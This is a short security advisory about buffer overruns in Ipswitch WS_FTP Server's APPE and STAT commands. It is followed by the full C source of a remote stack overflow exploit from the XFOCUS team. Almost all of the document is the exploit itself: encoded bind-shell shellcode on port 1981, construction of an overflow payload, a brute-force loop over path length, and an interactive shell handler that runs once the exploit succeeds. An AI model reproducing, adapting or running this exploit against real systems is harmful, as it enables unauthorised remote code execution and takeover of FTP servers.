source: http://www.securityfocus.com/bid/8542/info

Ipswitch WS_FTP Server is reported to be prone to buffer overruns when handling data supplied to the APPE and STAT FTP commands. An FTP user who supplies excessive input to these commands could potentially execute arbitrary code in the context of the server or cause a denial of service. 

/* 
* http://www.k-otiK.com/exploits/x-ws_ftp.c 
* 
* x-ws_ftp.c - x86/win32 WS_FTP FTPD "STAT" command remote
* stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2003
* All Rights Reserved
*
* -----------------------------------------------------------------------
* Author : eyas <eyas@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 1.0
*
* Test : Windows 2000 server EN
* + WS_FTP Server 4.0.1.EVAL (46006050)
* Notes : This vul discover by Dvdman@l33tsecurity.com!
* To exploit this vul, you must have a account can login into ws_ftp.
* Greets : dvdman and all member of XFOCUS Security Team.
* Complie : cl x-ws_ftp.c
* Usage : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]
* [type]
* 0 win2k sp4 user32.dll
*
* Add more targets's jmp esp addr by yourself,
* and then pls email a copy to me, thanks. :)
*
* Date : 2003-10-08
* Revised :
*
* Revise History:
* 
* ------- start rip from dvdman's exp -----------------
* VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1323562169)
* VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE
* -------- rip end ------------------------------------
*/ 
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32")

#define maxlen (0x200-1)//???????????
#define overpoint (0x118+4)//???
#define sc_jmp_addr_offset (0xa4+22)//sc???jmp addr?offset
#define mini_path 0xf//????

#define ERR_EXP_OK 0
#define ERR_EXP_CONNECT -1
#define ERR_EXP_FAILED 1

#define version "1.0"
//modify it by yourself
struct
{
DWORD dwJMP;
char *szDescription;
}targets[] = 
{
{0x77E14C29, "win2k sp4 user32.dll"},
},v;


//total = 366 (0x16E) bytes (xor with 0x93)
unsigned char sc_bind_1981[]=
//decoder 22 bytes ->???????sc??
"\xEB\x0F\x5B\x80\x33\x93\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 by ey4s
//speacial version for ws_ftp base on v1.03.10.07
//XOR with 0x93 (367 0x16F bytes)
"\x12\x7F\x93\x91\x93\x93\x7A\xA4\x92\x93\x93\xCC\xF7\x32\xA3\x93"
"\x93\x93\x18\xD3\x9F\x18\xE3\x8F\x3E\x18\xFB\x9B\xF9\x97\xCA\x7B"
"\x4A\x93\x93\x93\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC"
"\xC7\x6C\xC4\x6F\x18\x7B\xF9\x95\xCA\x7B\x2C\x93\x93\x93\x71\x6A"
"\x12\x7F\x03\x92\x93\x93\xC7\xFB\x91\x91\x93\x93\x6C\xC4\x7B\xC3"
"\xC3\xC3\xC3\xF9\x92\xF9\x91\x6C\xC4\x63\x18\x4B\x18\x7F\x54\xD6"
"\x93\x91\x93\x94\x2E\xA0\x53\x1A\xD6\x97\xF9\x83\xC6\xC0\x6C\xC4"
"\x67\xC0\xF9\x92\xC0\x6C\xC4\x6B\xC3\xC3\xC0\x6C\xC4\x6F\xC3\x10"
"\x7F\xCB\x18\x67\xA0\x48\xF9\x83\xCA\x1A\x8F\x1D\x71\x68\x78\xBF"
"\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"
"\xD3\xD3\xD3\xD3\x03\x03\x03\x03\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"
"\xE9\x35\xFF\xFF\xFF\xD3\xD3\xD3\xD3\xD3\xD3\xD3\x1A\xD5\xAB\x1A"
"\xD5\xAF\x1A\xD5\xD3\x54\xD5\xBF\x92\x92\x93\x93\x1E\xD5\xD7\xC3"
"\xC5\xC0\xC0\xC0\xF9\x92\xC0\xC0\x1E\xD5\xC7\x54\x93\xF0\xFE\xF7"
"\x93\xC3\xC0\x6C\xC4\x73\xA0\x53\xDB\xC3\x6C\xE5\xD7\x6C\xC4\x4F"
"\x10\x57\xCB\x6C\xC4\x7F\x6C\xC4\x7F\xC3\x6C\xC4\x4B\xC2\x18\xE6"
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
"\xD2\x3E\x90\x56\xA0\x48\xA0\x41\x9C\x2D\x83\xA9\x45\xE7\x9B\x52"
"\x58\x88\x90\x49\xD3\x78\x7C\xA8\x8C\xE6\x76\xCD\x18\xCD\xB7\x90"
"\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38"
"\xCA\x50\x7B\x57\x6D\x6C\x6C\x7A\x28\x50\x3D\x27\xEE\x86\x0B\x58"
"\xD1\xE4\x2B\x4F\x4E\x89\xA0\xBE\x87\xC5\x3D\x55\xB8\x2E\xBD\x4D"
"\xC4\xE1\x37\xB7\x21\xA1\x93\x9D\xCE\x58\x4D\xE7\xB1\xF0\x5B"
//decode end sign
"\x45\x59\x34\x53";

unsigned char *szSend[3];
unsigned char szSTAT[0x1000];
int iType;
int iPort=21;
char *ip=NULL, *pUser=NULL, *pPass=NULL;
char user[128],pass[128];

void shell (int sock);
void usage(char *p);
int SendExploit(int iPathLen);
void main(int argc, char **argv)
{
int i, iPathLen=0, ret;

printf( "WS_FTP FTPD remote stack buffer overflow exp v%s\n"
"This version can exploit WS_FTP Server 4.0.1.EVAL\n"
"Vul discover by Dvdman@l33tsecurity.com\n"
"Code by eyas@xfocus.org\n"
"http://www.xfocus.net\n"
"Create: 2003-10-08\n", version);

if(argc < 9)
{
usage(argv[0]);
return;
}

for(i=1;i<argc;i+=2)
{
if(strlen(argv[i]) != 2)
{
usage(argv[0]);
return;
}
//????????
if(i == argc-1)
{
usage(argv[0]);
return;
}
switch(argv[i][1])
{
case 'i':
ip=argv[i+1];
break;
case 't':
iType = atoi(argv[i+1]);
break;
case 'P':
iPort=atoi(argv[i+1]);
break;
case 'p':
pPass = argv[i+1];
break;
case 'u':
pUser=argv[i+1];
break;
case 'l':
iPathLen=atoi(argv[i+1]);
break;
}
}

if((!ip) || (!user) || (!pass))
{
usage(argv[0]);
printf("[-] Invalid parameter.\n");
return;
}
if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
usage(argv[0]);
printf("[-] Invalid type.\n");
return;
}

if( (iPathLen>0) && (iPathLen<mini_path) )
{
printf("[-] Hey, guy, mini path is %d.\n", mini_path);
return;
}

_snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
user[sizeof(user)-1]='\0';
_snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
pass[sizeof(pass)-1]='\0';
szSend[0] = user;//user
szSend[1] = pass;//pass
szSend[2] = szSTAT;

if(iPathLen)
SendExploit(iPathLen);
else
{
for(i=mini_path;;i++)
{
ret = SendExploit(i);
switch(ret)
{
case ERR_EXP_FAILED:
break;
case ERR_EXP_CONNECT:
case ERR_EXP_OK:
return;
break;
}
}
}
return;
}
/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
int l;
char buf[512];
struct timeval time;
unsigned long ul[2];

time.tv_sec = 1;
time.tv_usec = 0;

while (1) 
{
ul[0] = 1;
ul[1] = sock;

l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l == 1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0) 
{
printf ("[-] Connection closed.\n");
return;
}
l = write (1, buf, l);
if (l <= 0) 
{
printf ("[-] Connection closed.\n");
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0) 
{
printf("[-] Connection closed.\n");
return;
}
l = send(sock, buf, l, 0);
if (l <= 0) 
{
printf("[-] Connection closed.\n");
return;
}
}
}
}
void usage(char *p)
{
int i;
printf( "Usage: %s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]\n"
"[type]\n", p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d\t%s\n", i, targets[i].szDescription);
}
}
int SendExploit(int iPathLen)
{
struct sockaddr_in sa, server;
WSADATA wsd;
SOCKET s,s2;
int i,iErr, ret, pad1,pad2;
char szRecvBuff[0x1000];
int retcode = ERR_EXP_CONNECT;

printf("\n[+] -=-= Try type %d, path %d. -=-=\n", iType, iPathLen);

memcpy(&sc_bind_1981[sc_jmp_addr_offset], &targets[iType].dwJMP, 4);

memset(szSTAT, 0, sizeof(szSTAT));
strcpy(szSTAT, "STAT ");
//????????????
//??path????,??buff????0x200,??????:)
pad1 = overpoint - sc_jmp_addr_offset - iPathLen;
if(pad1<0)
{
printf( "[-] You can't try any more, path reach the max vaule.\n"
" If you want to try longer path, change the sc by 
yourself.\n");
exit(1);
}
for(i=0;i<pad1;i++)
strcat(szSTAT, "a");
strcat(szSTAT, sc_bind_1981);
//???????????
pad2 = maxlen - overpoint;
//???????
pad2 -= (sizeof(sc_bind_1981)-1-sc_jmp_addr_offset);
if(pad2<0)
{
printf("[-] shellcode too long.\n");
exit(1);
}
for(i=0;i<pad2;i++)
strcat(szSTAT, "b");
strcat(szSTAT, "\r\n");
if(strlen(szSTAT) >= sizeof(szSTAT))
{
printf("[-] stack buffer overflow.\n");
exit(1);
}
__try
{
if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
printf("[-] WSAStartup error:%d\n", WSAGetLastError());
__leave;
}

s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s == INVALID_SOCKET)
{
printf("[-] Create socket failed:%d",GetLastError());
__leave;
}

sa.sin_family=AF_INET;
sa.sin_port=htons(iPort);
sa.sin_addr.S_un.S_addr=inet_addr(ip);

iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
if(iErr == SOCKET_ERROR)
{
printf("[-] connect to target:21 error:%d\n", GetLastError());
__leave;
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
Sleep(1000);
for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
{
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
if(iErr == SOCKET_ERROR)
{
printf("[-] recv buffer error:%d.\n", WSAGetLastError());
__leave;
}
printf("[+] Recv: %s", szRecvBuff);
iErr = send(s, szSend[i], strlen(szSend[i]),0);
if(iErr == SOCKET_ERROR)
{
printf("[-] send buffer error:%d.\n", WSAGetLastError());
__leave;
}
if(i==sizeof(szSend)/sizeof(szSend[0])-1)
printf("[+] Send shellcode %d(0x%X) bytes.\n", iErr, iErr);
else
printf("[+] Send: %s", szSend[i]);
Sleep(100);
} 
printf("[+] Wait from shell.\n");
Sleep(2000);
s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons(1981);
server.sin_addr.s_addr=inet_addr(ip);
ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
if(ret!=0)
{
printf("[-] Exploit seem failed.\n");
retcode = ERR_EXP_FAILED;
__leave;
}
printf("[+] Exploit success! Have fun! :)\n");
shell(s2);
retcode = ERR_EXP_OK;
}
__finally
{
if(s != INVALID_SOCKET) closesocket(s);
if(s2 != INVALID_SOCKET) closesocket(s);
WSACleanup();
}
return retcode;
}

